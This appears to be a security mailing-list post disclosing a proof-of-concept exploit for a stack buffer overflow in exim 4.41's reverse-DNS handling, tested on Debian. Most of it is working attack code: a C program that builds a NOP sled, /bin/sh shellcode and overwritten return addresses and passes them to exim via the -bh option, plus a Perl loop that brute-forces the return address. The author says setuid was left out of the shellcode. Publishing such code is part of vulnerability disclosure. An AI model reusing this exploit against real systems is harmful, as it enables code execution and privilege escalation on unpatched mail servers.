exim dns_buld_reverse() proof-of-concept

[Rafael San Miguel Carrasco <smcsoc () yahoo es>]

This proof-of-concept demonstrates the existence of the vulnerability 
reported by iDEFENSE (iDEFENSE Security Advisory 01.14.05).
It has been tested against exim-4.41 under Debian GNU/Linux.
Note that setuid () is not included in the shellcode to avoid 
script-kidding.
My RET is 0xbffffae4, but fb.pl can brute-force it for you.

---------
fb.pl:
---------

#!/usr/bin/perl

$cnt = 0xbffffa10;

while (1) {
   $hex = sprintf ("0x%x", $cnt);
   $res = system ("./exploit $hex");
   printf "$hex : $res\n";
   $cnt += 4;
}

---------
exploit.c:
---------

#define NOP 0x90
#define TAMBUF 368
#define INIC_SH 20
#include <stdlib.h>

int main (int argc, char **argv) {

   static char shellcode[]=
   "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
   "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
   "\x2f\x73\x68\x58";

   char buffer [TAMBUF + 1];
   char cadena [TAMBUF + 5];
   int cont;
   unsigned long ret = strtoul (argv[1], NULL, 16);

   for (cont = 0; cont < TAMBUF / 4; cont++)
           *( (long *) buffer + cont) = ret;

   for (cont = 0; cont < strlen (shellcode); cont++)
           buffer [cont + INIC_SH] = shellcode [cont];

   for (cont = 0; cont < INIC_SH; cont++)
           buffer [cont] = NOP;

   buffer [TAMBUF] = 0;
   printf ("RET = 0x%x\n", ret);
   strcpy (cadena, "::%A");
   strcat (cadena, buffer);
       execl ("./exim", "./exim", "-bh", cadena, (char *) 0);
}



-------------------------------
Rafael San Miguel Carrasco
Consultor Técnico - Jefe de Proyecto
rafael.sanmiguel () dvc es
+ 34 660 856 647
+ 34 902 464 546
Davinci Consulting - www.dvc.es
Oficina Madrid - Parque empresarial Alvento
Via de los Poblados 1 Edificio A 6ª planta
28033 Madrid
-------------------------------